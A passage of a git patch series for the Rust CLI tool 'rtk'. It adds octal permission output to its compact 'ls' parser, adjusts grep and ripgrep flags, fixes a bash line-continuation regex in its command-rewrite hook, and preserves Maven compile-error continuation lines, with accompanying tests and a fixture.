matches!(b[6], b'x' | b's'); + let other_x = matches!(b[9], b'x' | b't'); + + let owner = perm_value(b[1] == b'r', b[2] == b'w', owner_x); + let group = perm_value(b[4] == b'r', b[5] == b'w', group_x); + let other = perm_value(b[7] == b'r', b[8] == b'w', other_x); + + let setuid = matches!(b[3], b's' | b'S'); + let setgid = matches!(b[6], b's' | b'S'); + let sticky = matches!(b[9], b't' | b'T'); + let special = perm_value(setuid, setgid, sticky); + + if special > 0 { + Some(format!("{}{}{}{}", special, owner, group, other)) + } else { + Some(format!("{}{}{}", owner, group, other)) + } +} + +/// Parse ls -la output into compact format. +/// +/// Without `show_long`: +/// name/ (dirs) +/// name size (files) +/// +/// With `show_long` (user passed `-l`): +/// 755 name/ (dirs) +/// 644 name size (files) +/// /// Returns (entries, summary, parsed_count) so caller can suppress summary when piped. /// parsed_count tracks how many non-header lines were successfully parsed. /// If parsed_count == 0 but raw had content, caller should fall back to raw output. -fn compact_ls(raw: &str, show_all: bool) -> (String, String, usize) { +fn compact_ls(raw: &str, show_all: bool, show_long: bool) -> (String, String, usize) { use std::collections::HashMap; - let mut dirs: Vec = Vec::new(); - let mut files: Vec<(String, String)> = Vec::new(); // (name, size) + let mut dirs: Vec<(String, Option)> = Vec::new(); // (name, octal_perms) + let mut files: Vec<(String, String, Option)> = Vec::new(); // (name, size, octal_perms) let mut by_ext: HashMap = HashMap::new(); let mut lines_seen: usize = 0; let mut parsed_count: usize = 0; @@ -195,7 +254,7 @@ fn compact_ls(raw: &str, show_all: bool) -> (String, String, usize) { } lines_seen += 1; - let Some((file_type, size, name)) = parse_ls_line(line) else { + let Some((file_type, perms, size, name)) = parse_ls_line(line) else { if is_dotdir(line) { dotdirs += 1; } @@ -208,8 +267,16 @@ fn compact_ls(raw: &str, show_all: bool) -> (String, String, usize) { continue; } + // Only parse perms when the user actually wants the long listing — + // skip the work otherwise. + let octal = if show_long { + perms_to_octal(&perms) + } else { + None + }; + if file_type == 'd' { - dirs.push(name); + dirs.push((name, octal)); } else { // Regular files, symlinks, character/block devices, pipes, sockets let ext = if let Some(pos) = name.rfind('.') { @@ -218,7 +285,7 @@ fn compact_ls(raw: &str, show_all: bool) -> (String, String, usize) { "no ext".to_string() }; *by_ext.entry(ext).or_insert(0) += 1; - files.push((name, human_size(size))); + files.push((name, human_size(size), octal)); } } @@ -237,13 +304,21 @@ fn compact_ls(raw: &str, show_all: bool) -> (String, String, usize) { let mut entries = String::new(); // Dirs first, compact - for d in &dirs { - entries.push_str(d); + for (name, octal) in &dirs { + if let Some(octal) = octal { + entries.push_str(octal); + entries.push_str(" "); + } + entries.push_str(name); entries.push_str("/\n"); } // Files with size - for (name, size) in &files { + for (name, size, octal) in &files { + if let Some(octal) = octal { + entries.push_str(octal); + entries.push_str(" "); + } entries.push_str(name); entries.push_str(" "); entries.push_str(size); @@ -286,7 +361,7 @@ mod tests { drwxr-xr-x 2 user staff 64 Jan 1 12:00 src\n\ -rw-r--r-- 1 user staff 1234 Jan 1 12:00 Cargo.toml\n\ -rw-r--r-- 1 user staff 5678 Jan 1 12:00 README.md\n"; - let (entries, _summary, _) = compact_ls(input, false); + let (entries, _summary, _parsed) = compact_ls(input, false, false); assert!(entries.contains("src/")); assert!(entries.contains("Cargo.toml")); assert!(entries.contains("README.md")); @@ -307,7 +382,7 @@ mod tests { drwxr-xr-x 2 user staff 64 Jan 1 12:00 target\n\ drwxr-xr-x 2 user staff 64 Jan 1 12:00 src\n\ -rw-r--r-- 1 user staff 100 Jan 1 12:00 main.rs\n"; - let (entries, _summary, _) = compact_ls(input, false); + let (entries, _summary, _parsed) = compact_ls(input, false, false); assert!(!entries.contains("node_modules")); assert!(!entries.contains(".git")); assert!(!entries.contains("target")); @@ -320,7 +395,7 @@ mod tests { let input = "total 8\n\ drwxr-xr-x 2 user staff 64 Jan 1 12:00 .git\n\ drwxr-xr-x 2 user staff 64 Jan 1 12:00 src\n"; - let (entries, _summary, _) = compact_ls(input, true); + let (entries, _summary, _parsed) = compact_ls(input, true, false); assert!(entries.contains(".git/")); assert!(entries.contains("src/")); } @@ -328,7 +403,7 @@ mod tests { #[test] fn test_compact_empty() { let input = "total 0\n"; - let (entries, summary, _) = compact_ls(input, false); + let (entries, summary, _parsed) = compact_ls(input, false, false); assert_eq!(entries, "(empty)\n"); assert!(summary.is_empty()); } @@ -338,7 +413,7 @@ mod tests { let input = "total 8\n\ drwxr-xr-x 2 user user 4096 1月 1 12:00 .\n\ drwxr-xr-x 16 user user 20480 1月 1 12:00 ..\n"; - let (entries, summary, parsed_count) = compact_ls(input, false); + let (entries, summary, parsed_count) = compact_ls(input, false, false); assert_eq!(parsed_count, 0); assert_eq!(entries, "(empty)\n"); assert!(summary.is_empty()); @@ -349,7 +424,7 @@ mod tests { let input = "total 0\n\ drwxr-xr-x 2 lumin wheel 64 Apr 23 00:37 .\n\ drwxr-xr-x 16 root wheel 164576 Apr 23 00:37 ..\n"; - let (entries, summary, parsed_count) = compact_ls(input, false); + let (entries, summary, parsed_count) = compact_ls(input, false, false); assert_eq!(parsed_count, 0); assert_eq!(entries, "(empty)\n"); assert!(summary.is_empty()); @@ -362,7 +437,7 @@ mod tests { -rw-r--r-- 1 user staff 1234 Jan 1 12:00 main.rs\n\ -rw-r--r-- 1 user staff 5678 Jan 1 12:00 lib.rs\n\ -rw-r--r-- 1 user staff 100 Jan 1 12:00 Cargo.toml\n"; - let (_entries, summary, _) = compact_ls(input, false); + let (_entries, summary, _parsed) = compact_ls(input, false, false); assert!(summary.contains("Summary: 3 files, 1 dirs")); assert!(summary.contains(".rs")); assert!(summary.contains(".toml")); @@ -382,7 +457,7 @@ mod tests { fn test_compact_handles_filenames_with_spaces() { let input = "total 8\n\ -rw-r--r-- 1 user staff 1234 Jan 1 12:00 my file.txt\n"; - let (entries, _summary, _) = compact_ls(input, false); + let (entries, _summary, _parsed) = compact_ls(input, false, false); assert!(entries.contains("my file.txt")); } @@ -390,7 +465,7 @@ mod tests { fn test_compact_symlinks() { let input = "total 8\n\ lrwxr-xr-x 1 user staff 10 Jan 1 12:00 link -> target\n"; - let (entries, _summary, _) = compact_ls(input, false); + let (entries, _summary, _parsed) = compact_ls(input, false, false); assert!(entries.contains("link -> target")); } @@ -400,7 +475,7 @@ mod tests { let input = "total 48\n\ drwxr-xr-x 2 user staff 64 Jan 1 12:00 src\n\ -rw-r--r-- 1 user staff 1234 Jan 1 12:00 main.rs\n"; - let (entries, summary, _) = compact_ls(input, false); + let (entries, summary, _parsed) = compact_ls(input, false, false); assert!( !entries.contains("Summary:"), "entries must not contain summary" @@ -419,7 +494,7 @@ mod tests { drwxr-xr-x 2 user staff 64 Jan 1 12:00 src\n\ -rw-r--r-- 1 user staff 1234 Jan 1 12:00 main.rs\n\ -rw-r--r-- 1 user staff 5678 Jan 1 12:00 lib.rs\n"; - let (entries, _summary, _) = compact_ls(input, false); + let (entries, _summary, _parsed) = compact_ls(input, false, false); let line_count = entries.lines().count(); assert_eq!( line_count, 3, @@ -434,7 +509,7 @@ mod tests { let input = "total 8\n\ -rw-r--r-- 1 fjeanne utilisa. du domaine 0 Mar 31 16:18 empty.txt\n\ -rw-r--r-- 1 fjeanne utilisa. du domaine 1234 Mar 31 16:18 data.json\n"; - let (entries, _summary, _) = compact_ls(input, false); + let (entries, _summary, _parsed) = compact_ls(input, false, false); assert!( entries.contains("empty.txt"), "should contain 'empty.txt', got: {entries}" @@ -462,7 +537,7 @@ mod tests { // Some systems show year instead of time for old files let input = "total 8\n\ -rw-r--r-- 1 user staff 5678 Dec 25 2024 archive.tar\n"; - let (entries, _summary, _) = compact_ls(input, false); + let (entries, _summary, _parsed) = compact_ls(input, false, false); assert!( entries.contains("archive.tar"), "should contain filename, got: {entries}" @@ -472,38 +547,42 @@ mod tests { #[test] fn test_parse_ls_line_basic() { - let (ft, size, name) = + let (ft, perms, size, name) = parse_ls_line("-rw-r--r-- 1 user staff 1234 Jan 1 12:00 file.txt").unwrap(); assert_eq!(ft, '-'); + assert_eq!(perms, "-rw-r--r--"); assert_eq!(size, 1234); assert_eq!(name, "file.txt"); } #[test] fn test_parse_ls_line_multiline_group() { - let (ft, size, name) = + let (ft, perms, size, name) = parse_ls_line("-rw-r--r-- 1 fjeanne utilisa. du domaine 0 Mar 31 16:18 empty.txt") .unwrap(); assert_eq!(ft, '-'); + assert_eq!(perms, "-rw-r--r--"); assert_eq!(size, 0); assert_eq!(name, "empty.txt"); } #[test] fn test_parse_ls_line_dir_with_space_in_group() { - let (ft, size, name) = + let (ft, perms, size, name) = parse_ls_line("drwxr-xr-x 2 fjeanne utilisa. du domaine 64 Mar 31 16:18 my dir") .unwrap(); assert_eq!(ft, 'd'); + assert_eq!(perms, "drwxr-xr-x"); assert_eq!(size, 64); assert_eq!(name, "my dir"); } #[test] fn test_parse_ls_line_symlink() { - let (ft, size, name) = + let (ft, perms, size, name) = parse_ls_line("lrwxr-xr-x 1 user staff 10 Jan 1 12:00 link -> target").unwrap(); assert_eq!(ft, 'l'); + assert_eq!(perms, "lrwxr-xr-x"); assert_eq!(size, 10); assert_eq!(name, "link -> target"); } @@ -513,7 +592,7 @@ mod tests { // Regression test for #844: `rtk ls /dev/ttyACM*` returned "(empty)" // because character devices (type 'c') were not handled by compact_ls. let input = "crw-rw---- 1 root dialout 166, 0 Apr 22 09:46 /dev/ttyACM0\n"; - let (entries, _summary, _parsed) = compact_ls(input, false); + let (entries, _summary, _parsed) = compact_ls(input, false, false); assert!( entries.contains("/dev/ttyACM0"), "should contain device file, got: {entries}" @@ -525,7 +604,7 @@ mod tests { fn test_compact_device_files_macos_hex_size() { // macOS shows device major/minor as hex (e.g. 0x2000000) let input = "crw-rw-rw- 1 root wheel 0x2000000 Mar 31 19:25 /dev/tty\n"; - let (entries, _summary, _parsed) = compact_ls(input, false); + let (entries, _summary, _parsed) = compact_ls(input, false, false); assert!( entries.contains("/dev/tty"), "should contain device file, got: {entries}" @@ -535,7 +614,7 @@ mod tests { #[test] fn test_compact_block_device() { let input = "brw-rw---- 1 root disk 8, 0 Apr 22 09:46 /dev/sda\n"; - let (entries, _summary, _parsed) = compact_ls(input, false); + let (entries, _summary, _parsed) = compact_ls(input, false, false); assert!( entries.contains("/dev/sda"), "should contain block device, got: {entries}" @@ -549,19 +628,86 @@ mod tests { #[test] fn test_parse_ls_line_year_format() { - let (ft, size, name) = + let (ft, perms, size, name) = parse_ls_line("-rw-r--r-- 1 user staff 5678 Dec 25 2024 old.tar.gz").unwrap(); assert_eq!(ft, '-'); + assert_eq!(perms, "-rw-r--r--"); assert_eq!(size, 5678); assert_eq!(name, "old.tar.gz"); } + #[test] + fn test_perms_to_octal_common() { + assert_eq!(perms_to_octal("-rw-r--r--").as_deref(), Some("644")); + assert_eq!(perms_to_octal("-rwxr-xr-x").as_deref(), Some("755")); + assert_eq!(perms_to_octal("drwxr-xr-x").as_deref(), Some("755")); + assert_eq!(perms_to_octal("-rw-------").as_deref(), Some("600")); + assert_eq!(perms_to_octal("-rwxrwxrwx").as_deref(), Some("777")); + assert_eq!(perms_to_octal("----------").as_deref(), Some("000")); + assert_eq!(perms_to_octal("lrwxr-xr-x").as_deref(), Some("755")); + } + + #[test] + fn test_perms_to_octal_special_bits() { + // setuid + 755 -> 4755 + assert_eq!(perms_to_octal("-rwsr-xr-x").as_deref(), Some("4755")); + // setuid without execute -> 4644 + assert_eq!(perms_to_octal("-rwSr--r--").as_deref(), Some("4644")); + // setgid + 755 -> 2755 + assert_eq!(perms_to_octal("-rwxr-sr-x").as_deref(), Some("2755")); + // sticky bit on /tmp-style dir -> 1777 + assert_eq!(perms_to_octal("drwxrwxrwt").as_deref(), Some("1777")); + // setuid + setgid + sticky + assert_eq!(perms_to_octal("-rwsrwsrwt").as_deref(), Some("7777")); + } + + #[test] + fn test_perms_to_octal_garbage() { + assert_eq!(perms_to_octal(""), None); + assert_eq!(perms_to_octal("short"), None); + } + + #[test] + fn test_compact_long_format_includes_octal() { + let input = "total 48\n\ + drwxr-xr-x 2 user staff 64 Jan 1 12:00 src\n\ + -rw-r--r-- 1 user staff 1234 Jan 1 12:00 Cargo.toml\n\ + -rwxr-xr-x 1 user staff 500 Jan 1 12:00 build.sh\n"; + let (entries, _summary, _parsed) = compact_ls(input, false, true); + assert!( + entries.contains("755 src/"), + "dir should be prefixed with octal perms, got: {entries}" + ); + assert!( + entries.contains("644 Cargo.toml 1.2K"), + "file should be prefixed with octal perms, got: {entries}" + ); + assert!( + entries.contains("755 build.sh 500B"), + "executable should show 755, got: {entries}" + ); + } + + #[test] + fn test_compact_short_format_omits_octal() { + // Without -l, no octal prefix even though we still parse `ls -la` + // under the hood. + let input = "total 48\n\ + -rw-r--r-- 1 user staff 1234 Jan 1 12:00 Cargo.toml\n"; + let (entries, _summary, _parsed) = compact_ls(input, false, false); + assert!( + !entries.contains("644"), + "short format must not include octal perms, got: {entries}" + ); + assert!(entries.contains("Cargo.toml")); + } + #[test] fn test_compact_chinese_locale_fallback() { let input = "total 8\n\ drwxr-xr-x 2 user staff 64 1月 1 12:00 src\n\ -rw-r--r-- 1 user staff 1234 1月 1 12:00 main.rs\n"; - let (entries, summary, parsed_count) = compact_ls(input, false); + let (entries, summary, parsed_count) = compact_ls(input, false, false); assert_eq!(parsed_count, 0); assert!(entries.is_empty()); assert!(summary.is_empty()); From 53b5e79561fdf98f09db0b5b2006ec838fcd06f5 Mon Sep 17 00:00:00 2001 From: Nicolas Le Cam Date: Mon, 25 May 2026 14:12:16 +0200 Subject: [PATCH 137/257] feat: prefer short args and cleanup comments --- src/cmds/system/grep_cmd.rs | 27 ++++++++------------------- 1 file changed, 8 insertions(+), 19 deletions(-) diff --git a/src/cmds/system/grep_cmd.rs b/src/cmds/system/grep_cmd.rs index dbd61364a4..3f7d9a3276 100644 --- a/src/cmds/system/grep_cmd.rs +++ b/src/cmds/system/grep_cmd.rs @@ -33,19 +33,10 @@ pub fn run( // Without this, rg returns 0 matches for files in .gitignore, causing // false negatives that make AI agents draw wrong conclusions. // Using --no-ignore-vcs (not --no-ignore) so .ignore/.rgignore are still respected. - // - // -H: force rg to always include the filename, even for single-file searches. - // --null: separate file from line:content with a NUL byte so the parser is - // unambiguous even when the filename or content contains `:digits:` - // patterns (issue #1436). - rg_cmd.args([ - "-nH", - "--no-heading", - "--null", - "--no-ignore-vcs", - &rg_pattern, - path, - ]); + // -H: always emit the filename. + // -0: NUL-separate filename. Allows the parser to disambiguate filenames or + // content containing `:digits:` patterns (issue #1436). + rg_cmd.args(["-nH0", "--no-heading", "--no-ignore-vcs", &rg_pattern, path]); if let Some(ft) = file_type { rg_cmd.arg("--type").arg(ft); @@ -62,9 +53,7 @@ pub fn run( let result = exec_capture(&mut rg_cmd) .or_else(|_| { let mut grep_cmd = resolved_command("grep"); - // -H: always emit the filename; -Z: NUL-separate filename from - // line:content so the parser can disambiguate even for filenames - // or content containing `:digits:` (parity with rg's --null). + // When we fall back to grep, include all args, not just -rnHZ. grep_cmd.args(["-rnHZ", pattern, path]).args(extra_args); exec_capture(&mut grep_cmd) }) @@ -173,9 +162,9 @@ pub fn run( /// Parses a single rg/grep match line of the form `file\0line_number:content`. /// -/// Requires the underlying command to be invoked with `--null` (rg) or `-Z` -/// (grep) so the filename is NUL-separated from `line:content`. NUL cannot -/// appear in file paths, so the parser is unambiguous regardless of: +/// Requires the underlying command to be invoked with `-0` (rg) or `-Z` (grep) +/// so the filename is NUL-separated from `line:content`. NUL cannot appear in +/// file paths, so the parser is unambiguous regardless of: /// - content with `:` or `::` (e.g. `ClassRegistry::init(...)`, issue #1436); /// - paths with embedded `:` (Windows drive letters, weird filenames like /// `badly_named:52:file.txt`). From 8fcc0dc56c0bbcdf0508bbf72897085348884fd5 Mon Sep 17 00:00:00 2001 From: Nicolas Le Cam Date: Mon, 25 May 2026 14:55:32 +0200 Subject: [PATCH 138/257] fix: handle GNU `--format=long` and `--format=verbose` long args --- src/cmds/system/ls.rs | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/src/cmds/system/ls.rs b/src/cmds/system/ls.rs index 2c4bc67908..98eb364479 100644 --- a/src/cmds/system/ls.rs +++ b/src/cmds/system/ls.rs @@ -25,10 +25,10 @@ pub fn run(args: &[String], verbose: u8) -> Result { .any(|a| (a.starts_with('-') && !a.starts_with("--") && a.contains('a')) || a == "--all"); // Per `man ls`, the long listing is triggered by `-l` and also implied by - // `-g`, `-n`, `-o`, and `--full-time`. In any of those cases we preserve - // permission info as octal. + // `-g`, `-n`, `-o`, `--full-time` or GNU `--format=long` and `--format=verbose`. + // In any of those cases we preserve permission info as octal. let show_long = args.iter().any(|a| { - if a == "--full-time" { + if a == "--full-time" || a == "--format=long" || a == "--format=verbose" { return true; } if a.starts_with('-') && !a.starts_with("--") { From 42ac86ce2f5bedb011f84532c2112cd5093500ab Mon Sep 17 00:00:00 2001 From: Sai Asish Y Date: Sun, 24 May 2026 19:14:56 -0700 Subject: [PATCH 139/257] fix(hook): use maintainer regex suggestion for line continuation Signed-off-by: Sai Asish Y --- src/discover/registry.rs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/discover/registry.rs b/src/discover/registry.rs index ecccc1d6f2..46f28f2342 100644 --- a/src/discover/registry.rs +++ b/src/discover/registry.rs @@ -450,7 +450,7 @@ lazy_static! { /// trailing whitespace prevents double spaces in cases like /// `git diff \HEAD~1`. static ref LINE_CONTINUATION_RE: Regex = - Regex::new(r"[ \t]*\\(?:\r\n|\n)[ \t]*").unwrap(); + Regex::new(r"(?m)[ \t\x0B\x0C]*\\\r?\n[ \t\x0B\x0C]*").unwrap(); } /// Replace every bash line continuation with a single space, mirroring From 0ec99de8f4ef102c10a827b57636278080e2f3cf Mon Sep 17 00:00:00 2001 From: Sai Asish Y Date: Mon, 25 May 2026 06:16:18 -0700 Subject: [PATCH 140/257] fix(tests): use rewrite_command_no_prefixes in line-continuation tests Signed-off-by: Sai Asish Y --- src/discover/registry.rs | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/src/discover/registry.rs b/src/discover/registry.rs index 46f28f2342..df1d500475 100644 --- a/src/discover/registry.rs +++ b/src/discover/registry.rs @@ -3919,7 +3919,7 @@ mod tests { // The exact reproduction from #1564: a leading `\` made // the matcher see `\` as the command and bail out. assert_eq!( - rewrite_command("\\\ngit diff HEAD~1", &[]), + rewrite_command_no_prefixes("\\\ngit diff HEAD~1", &[]), Some("rtk git diff HEAD~1".into()) ); } @@ -3928,7 +3928,7 @@ mod tests { fn test_rewrite_leading_backslash_crlf() { // CRLF line ending — same shape, Windows shells / Git Bash. assert_eq!( - rewrite_command("\\\r\ngit diff HEAD~1", &[]), + rewrite_command_no_prefixes("\\\r\ngit diff HEAD~1", &[]), Some("rtk git diff HEAD~1".into()) ); } @@ -3939,7 +3939,7 @@ mod tests { // `git diff \HEAD~1` is exactly equivalent to // `git diff HEAD~1` per bash semantics. assert_eq!( - rewrite_command("git diff \\\nHEAD~1", &[]), + rewrite_command_no_prefixes("git diff \\\nHEAD~1", &[]), Some("rtk git diff HEAD~1".into()) ); } @@ -3948,7 +3948,7 @@ mod tests { fn test_rewrite_backslash_newline_with_indent() { // Continuation followed by indentation — also collapsed. assert_eq!( - rewrite_command("git \\\n diff HEAD~1", &[]), + rewrite_command_no_prefixes("git \\\n diff HEAD~1", &[]), Some("rtk git diff HEAD~1".into()) ); } @@ -3959,7 +3959,7 @@ mod tests { // unchanged. This pins that the normalization step does not // regress the no-op fast path. assert_eq!( - rewrite_command("git diff HEAD~1", &[]), + rewrite_command_no_prefixes("git diff HEAD~1", &[]), Some("rtk git diff HEAD~1".into()) ); } From 3c356b32416be0815bee9e4364c20c4efa15d829 Mon Sep 17 00:00:00 2001 From: Nicolas Le Cam Date: Mon, 25 May 2026 15:21:27 +0200 Subject: [PATCH 141/257] fix: remove remaining noise and rework comments --- src/discover/registry.rs | 31 ++++++++++++++----------------- 1 file changed, 14 insertions(+), 17 deletions(-) diff --git a/src/discover/registry.rs b/src/discover/registry.rs index df1d500475..4fd7168282 100644 --- a/src/discover/registry.rs +++ b/src/discover/registry.rs @@ -441,22 +441,20 @@ fn strip_trailing_redirects(cmd: &str) -> (&str, &str) { } lazy_static! { - /// Matches a bash line-continuation: a backslash immediately - /// followed by `\n` or `\r\n`, *plus* any horizontal whitespace on - /// the line before AND after the break. This is what bash already - /// collapses to a single space before executing the command — rtk's - /// hook matcher needs to do the same so commands authored across - /// multiple lines still hit the rewrite rules. Consuming the - /// trailing whitespace prevents double spaces in cases like + /// Matches a bash line-continuation: a backslash immediately followed by + /// `\n` or `\r\n`, *plus* any horizontal whitespace on the line before AND + /// after the break. This is what bash already collapses to a single space + /// before executing the command — rtk's hook matcher needs to do the same + /// so commands authored across multiple lines still hit the rewrite rules. + /// Consuming the trailing whitespace prevents double spaces in cases like /// `git diff \HEAD~1`. static ref LINE_CONTINUATION_RE: Regex = Regex::new(r"(?m)[ \t\x0B\x0C]*\\\r?\n[ \t\x0B\x0C]*").unwrap(); } -/// Replace every bash line continuation with a single space, mirroring -/// what bash does before dispatching the command. Returns a borrowed -/// `&str` when the input contains no continuations, so the common -/// fast path allocates nothing. +/// Replace every bash line continuation with a single space, mirroring what +/// bash does before dispatching the command. Returns a borrowed `&str` when the +/// input contains no continuations, so the common fast path allocates nothing. fn collapse_line_continuations(s: &str) -> std::borrow::Cow<'_, str> { LINE_CONTINUATION_RE.replace_all(s, " ") } @@ -470,7 +468,7 @@ fn collapse_line_continuations(s: &str) -> std::borrow::Cow<'_, str> { /// (`[hooks].transparent_prefixes` in `config.toml`) before routing. /// /// A transparent prefix is a wrapper command that doesn't change *what* is -/// being run, only *how* it's run --- e.g. `docker exec mycontainer`, +/// being run, only *how* it's run — e.g. `docker exec mycontainer`, /// `direnv exec .`, `poetry run`, or `bundle exec`. Stripping it lets the inner /// command match a filter; the prefix is then re-prepended to the rewrite. The /// built-in [`SHELL_PREFIX_BUILTINS`] (`noglob`, `command`, `builtin`, `exec`, @@ -485,11 +483,10 @@ pub fn rewrite_command( excluded: &[String], transparent_prefixes: &[String], ) -> Option { - // Bash line continuations (`\`, `\`) and the leading - // whitespace that follows are syntactically equivalent to a single - // space, but `cmd.trim()` does not unwrap them --- so a leading - // backslash-newline used to defeat the whole matcher. Normalize - // first, then trim. See issue #1564. + // Bash line continuations (`\`, `\`) and the leading whitespace that + // follows are syntactically equivalent to a single space, but `cmd.trim()` does + // not unwrap them so a leading backslash-newline used to defeat the whole matcher. + // Normalize first, then trim. See issue #1564. let normalized = collapse_line_continuations(cmd); let trimmed = normalized.trim(); if trimmed.is_empty() { From 97bd2a7787c459e2df396bb3d28b9660b35c5ec6 Mon Sep 17 00:00:00 2001 From: Vinicius Dufloth Date: Mon, 25 May 2026 12:05:01 -0300 Subject: [PATCH 142/257] fix(mvn): preserve compile-error continuation in filter_surefire MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit When `mvn test` fails at the compile step before Surefire runs, the `[ERROR]` block's indented `symbol:` / `location:` / `^` continuation lines were being dropped. `filter_surefire` had no `keep_continuation` state, unlike `filter_compile:302` and `filter_package:408`. Add the missing state machine: reset in the RUNNING branch, set on each kept `[ERROR]` line (except `Tests run:` / `Failures:` / `Errors:` headers — same predicate as `filter_package:402-405`), and pass through indented continuation lines before the outside-block keep-list check. Fixture `mvn_test_compile_fail_slice_raw.txt` captures the `mvn test` slice for a project with a deliberate `cannot find symbol` in a `src/main/java` source. New tests: - `surefire_keeps_compile_continuation_on_test_phase` — the bug. - `package_still_keeps_compile_error_continuation_after_refactor` — drift guard on the `install`/`verify` path. --- src/cmds/jvm/mvn_cmd.rs | 56 +++++++++++++++++++ .../mvn_test_compile_fail_slice_raw.txt | 29 ++++++++++ 2 files changed, 85 insertions(+) create mode 100644 tests/fixtures/mvn_test_compile_fail_slice_raw.txt diff --git a/src/cmds/jvm/mvn_cmd.rs b/src/cmds/jvm/mvn_cmd.rs index e470689930..a7599af779 100644 --- a/src/cmds/jvm/mvn_cmd.rs +++ b/src/cmds/jvm/mvn_cmd.rs @@ -168,6 +168,7 @@ pub fn filter_surefire(raw: &str) -> String { let mut block_running: Option = None; let mut in_block = false; let mut failure_trail = false; + let mut keep_continuation = false; for line in stripped.lines() { if PLUGIN_BANNER.is_match(line) { @@ -182,6 +183,7 @@ pub fn filter_surefire(raw: &str) -> String { block_running = Some(line.to_string()); in_block = true; failure_trail = false; + keep_continuation = false; continue; } @@ -219,9 +221,20 @@ pub fn filter_surefire(raw: &str) -> String { continue; } + if keep_continuation && (line.starts_with(' ') || line.starts_with('\t')) { + out.push_str(line); + out.push('\n'); + continue; + } + if keep_outside_block(line) { out.push_str(line); out.push('\n'); + keep_continuation = line.starts_with("[ERROR]") + && !line.starts_with("[ERROR] Tests run:") + && !line.starts_with("[ERROR] Failures:") + && !line.starts_with("[ERROR] Errors:"); + continue; } } @@ -866,6 +879,49 @@ mod tests { ); } + /// `mvn test` whose compile step fails before Surefire runs must still + /// keep the `[ERROR]` block's indented `symbol:` / `location:` continuation + /// lines. Regression guard for the P0 reviewer ask: `filter_surefire` + /// previously dropped them because it had no `keep_continuation` flag. + #[test] + fn surefire_keeps_compile_continuation_on_test_phase() { + let i = include_str!("../../../tests/fixtures/mvn_test_compile_fail_slice_raw.txt"); + let o = filter_surefire(i); + assert!(o.contains("cannot find symbol"), "ERROR line preserved; got:\n{}", o); + assert!( + o.contains("symbol: variable bar"), + "indented `symbol:` continuation preserved; got:\n{}", + o + ); + assert!( + o.contains("location: class org.apache.commons.cli.CompileBreaker"), + "indented `location:` continuation preserved; got:\n{}", + o + ); + assert!(o.contains("BUILD FAILURE"), "footer preserved; got:\n{}", o); + } + + /// Regression guard on the package path so the install/verify route does + /// not silently drift the other way after the `filter_surefire` continuation + /// fix. Uses the existing compile-error slice — `filter_package` is the + /// `install`-phase entry point and must keep the same continuation lines. + #[test] + fn package_still_keeps_compile_error_continuation_after_refactor() { + let i = include_str!("../../../tests/fixtures/mvn_compile_error_slice_raw.txt"); + let o = filter_package(i); + assert!(o.contains("cannot find symbol"), "ERROR line preserved; got:\n{}", o); + assert!( + o.contains("symbol: variable bar"), + "indented `symbol:` continuation preserved; got:\n{}", + o + ); + assert!( + o.contains("location: class org.apache.commons.cli.CompileBreaker"), + "indented `location:` continuation preserved; got:\n{}", + o + ); + } + #[test] fn surefire_keeps_module_banner() { let i = "[INFO] Scanning for projects...\n[INFO] -----< com.example:myapp >-----\n[INFO] BUILD SUCCESS\n"; diff --git a/tests/fixtures/mvn_test_compile_fail_slice_raw.txt b/tests/fixtures/mvn_test_compile_fail_slice_raw.txt new file mode 100644 index 0000000000..ac5c7e0517 --- /dev/null +++ b/tests/fixtures/mvn_test_compile_fail_slice_raw.txt @@ -0,0 +1,29 @@ +[INFO] Scanning for projects... +[INFO] +[INFO] ----------------------< commons-cli:commons-cli >----------------------- +[INFO] Building Apache Commons CLI 1.11.1-SNAPSHOT +[INFO] from pom.xml +[INFO] --------------------------------[ jar ]--------------------------------- +[INFO] +[INFO] --- compiler:3.15.0:compile (default-compile) @ commons-cli --- +[INFO] Recompiling the module because of changed source code. +[INFO] Compiling 37 source files with javac [debug release 8] to target/classes +[INFO] ------------------------------------------------------------- +[ERROR] COMPILATION ERROR : +[INFO] ------------------------------------------------------------- +[ERROR] src/main/java/org/apache/commons/cli/CompileBreaker.java:[21,16] cannot find symbol + symbol: variable bar + location: class org.apache.commons.cli.CompileBreaker +[INFO] 1 error +[INFO] ------------------------------------------------------------- +[INFO] ------------------------------------------------------------------------ +[INFO] BUILD FAILURE +[INFO] ------------------------------------------------------------------------ +[INFO] Total time: 3.214 s +[INFO] Finished at: 2026-05-21T15:02:31Z +[INFO] ------------------------------------------------------------------------ +[ERROR] Failed to execute goal org.apache.maven.plugins:maven-compiler-plugin:3.15.0:compile (default-compile) on project commons-cli: Compilation failure +[ERROR] /home/runner/commons-cli/src/main/java/org/apache/commons/cli/CompileBreaker.java:[21,16] cannot find symbol +[ERROR] symbol: variable bar +[ERROR] location: class org.apache.commons.cli.CompileBreaker +[ERROR] -> [Help 1] From 5459c6d227987bead282367775bde94485402975 Mon Sep 17 00:00:00 2001 From: Vinicius Dufloth Date: Mon, 25 May 2026 12:10:14 -0300 Subject: [PATCH 143/257] refactor(mvn): extract shared SurefireBlock state machine MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit `filter_surefire` and `filter_package` had a ~30-line duplicated state machine for Surefire/Failsafe per-class blocks (RUNNING / in-block buffer / CLOSE branching / failure-trail). The duplication is what let the P0 continuation bug land — the fix had to be applied in only one of the two filters. Introduce `SurefireBlock` owning that inner machine: PLUGIN_BANNER skip, RUNNING (with prior-block flush on truncated output), in-block buffering, CLOSE detection, and the post-close failure-trail with framework-frame stripping. Each `step()` returns `SurefireStep::{Consumed, FailingClose, Passthrough}`. The `FailingClose` arm defers the actual write to the caller via `commit_failing()` — this is the seam Commit D will use to enforce the `mvn_max_failures` cap without duplicating the cap logic. Outside-block keep logic stays inside each filter unchanged (`MODULE_BANNER || keep_outside_block`, `[WARNING]` dedup, the `keep_continuation` flag from Commit A). Byte-identical filter output — all existing `surefire_*` / `package_*` / token-savings tests pass. The previous free helpers `flush_block_as_keep` and `emit_block` are removed; their behaviour now lives in `SurefireBlock::flush_open_block_as_keep` and `SurefireBlock::commit_failing`. --- src/cmds/jvm/mvn_cmd.rs | 305 +++++++++++++++++++++++----------------- 1 file changed, 174 insertions(+), 131 deletions(-) diff --git a/src/cmds/jvm/mvn_cmd.rs 